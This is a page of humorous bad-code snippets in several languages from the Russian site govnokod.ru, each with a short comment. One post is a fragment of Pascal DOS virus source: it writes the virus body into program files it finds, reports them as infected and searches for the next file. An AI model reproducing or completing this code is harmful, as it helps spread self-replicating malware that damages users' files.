- 1
tg_hujak_v_zap_na_sklade
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
−78
tg_hujak_v_zap_na_sklade
Название триггера в промышленной системе.
Hint: zap_na_sklade - таблица
+102
{ Infected it}
BlockWrite(Go,PrograStart,Succ(VirusSize shr 7));
Close(Go);
{ Say what has been done}
WriteLn(UsePath +' infected.');
Halt; {... and HALT the program}
End;
Close(Go);
End;
{The file has already been infected, search next}
Reg.AH:=$4F;
Reg.DS Seg(DTA);
Reg.DX Ofs(DTA);
MsDos(Reg)
{... Until no more files found}
Until Odd(Reg.Flags);
Write(''); { Give a smile}
End.
http://www.liveinternet.ru/users/gafarov-91/post120984751/
Вторая часть.
+75
byte[] buf = new byte[8192];
int len = 0;
while ((len = is.read(buf))>0)
{
requestString += new String(buf, 0, len, "UTF-8");
}
Пока никто не кормил туда настоящий UTF-8. Только ascii.
+151
// $reg_date = "12.12.2007 15:41";
$this->reg_date = strptime($reg_date, "%d.%m.%Y %H:%M");
// и теперь обратно. Казалось бы, все просто, ан нет!
$rd = $this->reg_date;
$reg_date = mktime($rd['tm_hour'], $rd['tm_min'], 0, $rd['tm_mon']+1, $rd['tm_mday'], 1900+$rd['tm_year']); //как это???
$reg_date = strftime("%d.%m.%Y %H:%M", $reg_date);
// нормально, у strptime и strftime порядок аргументов разный
// $r_date == "12.12.2007 15:41"
Попытался написать на PHP простенькую штуку, глаза на лоб полезли от того как там делаются элементарнейшие вещи. Скажите, что все можно сделать проще и я просто плохо читал документацию!
+168
void __fastcall TForm1::ShowBits(unsigned char data)
{
if(data&0x1)ImBit0->Canvas->Brush->Color=0x0000FF00;
else ImBit0->Canvas->Brush->Color=clRed;
ImBit0->Canvas->FillRect(TRect(0,0,ImBit0->Width,ImBit0->Height));
if(data&0x2)ImBit1->Canvas->Brush->Color=0x0000FF00;
else ImBit1->Canvas->Brush->Color=clRed;
ImBit1->Canvas->FillRect(TRect(0,0,ImBit1->Width,ImBit1->Height));
if(data&0x4)ImBit2->Canvas->Brush->Color=0x0000FF00;
else ImBit2->Canvas->Brush->Color=clRed;
ImBit2->Canvas->FillRect(TRect(0,0,ImBit2->Width,ImBit2->Height));
if(data&0x8)ImBit3->Canvas->Brush->Color=0x0000FF00;
else ImBit3->Canvas->Brush->Color=clRed;
ImBit3->Canvas->FillRect(TRect(0,0,ImBit3->Width,ImBit3->Height));
if(data&0x10)ImBit4->Canvas->Brush->Color=0x0000FF00;
else ImBit4->Canvas->Brush->Color=clRed;
ImBit4->Canvas->FillRect(TRect(0,0,ImBit4->Width,ImBit4->Height));
if(data&0x20)ImBit5->Canvas->Brush->Color=0x0000FF00;
else ImBit5->Canvas->Brush->Color=clRed;
ImBit5->Canvas->FillRect(TRect(0,0,ImBit5->Width,ImBit5->Height));
if(data&0x40)ImBit6->Canvas->Brush->Color=0x0000FF00;
else ImBit6->Canvas->Brush->Color=clRed;
ImBit6->Canvas->FillRect(TRect(0,0,ImBit6->Width,ImBit6->Height));
if(data&0x80)ImBit7->Canvas->Brush->Color=0x0000FF00;
else ImBit7->Canvas->Brush->Color=clRed;
ImBit7->Canvas->FillRect(TRect(0,0,ImBit7->Width,ImBit7->Height));
}
Отображение состояния битов байта
+171
static void tm_to_systemtime(const tm* pTime, LPSYSTEMTIME pSysTime )
{
time_t timeT = mktime((tm*)pTime);
FILETIME fTime = {0},lTime = {0};
LONGLONG ll = Int32x32To64(timeT, 10000000) + 116444736000000000;
fTime.dwLowDateTime = (DWORD) ll;
fTime.dwHighDateTime = ll >>32;
FileTimeToLocalFileTime(&fTime,&lTime);
FileTimeToSystemTime(&lTime,pSysTime);
}
static std::string GetDateTimeString(const tm& activ)
{
SYSTEMTIME sysTime = {0};
tm_to_systemtime(&activ,&sysTime);
char str[256];
//format to <YYYYMMDDHHMMSS>
sprintf_s(str,sizeof(str),"%04d%02d%02d%02d%02d%02d",sysTime.wYear,sysTime.wMonth,sysTime.wDay,sysTime.wHour,sysTime.wMinute,sysTime.wSecond);
return std::string(str);
}
далеко не самый скучный способ отформатировать ::tm в виде YYYYMMDDHHmmss
+161
template<typename T,typename FIELD_T>
struct type_has_field{
typedef char yes_type;
struct no_type{char padding[8];};
template<class U>
static yes_type check_sig1(
U*,
FIELD_T(U::*)=&U::field // !!!Most importantly!!!
);
template<class U>
static no_type check_sig1(...);
static const bool value=sizeof(check_sig1<T>(0))==sizeof(yes_type);
};
http://www.gamedev.ru/code/forum/?id=152200
+163
#include <stdio.h>
const int (&getArray())[10] {
static int tmp[10] = {1,2,3,4,5,6,7,8,9,10};
return tmp;
}
void foo(const int (&refArr)[10])
{
size_t size = sizeof(refArr); // returns 10*sizeof(int)
printf ("Array size: %d\r\n", size);
}
int main() {
foo(getArray());
printf ("%d", getArray()[0]);
for (size_t i=1; i<sizeof(getArray())/sizeof(getArray()[0]); ++i)
printf (",%d", getArray()[i]);
return 0;
}
http://codepad.org/rPl6b7IS
c++ страшный язык :)
Извращения на тему: http://heifner.blogspot.com/2005/06/c-reference-to-array.html
+159
protected function readConfig($configPath) {
$ini = parse_ini_file($configPath);
foreach ($ini as $key => $value) {
$config[$key] = $value;
}
return $config;
}
+147
if ($a = 1) {
...бла-бла-бла
}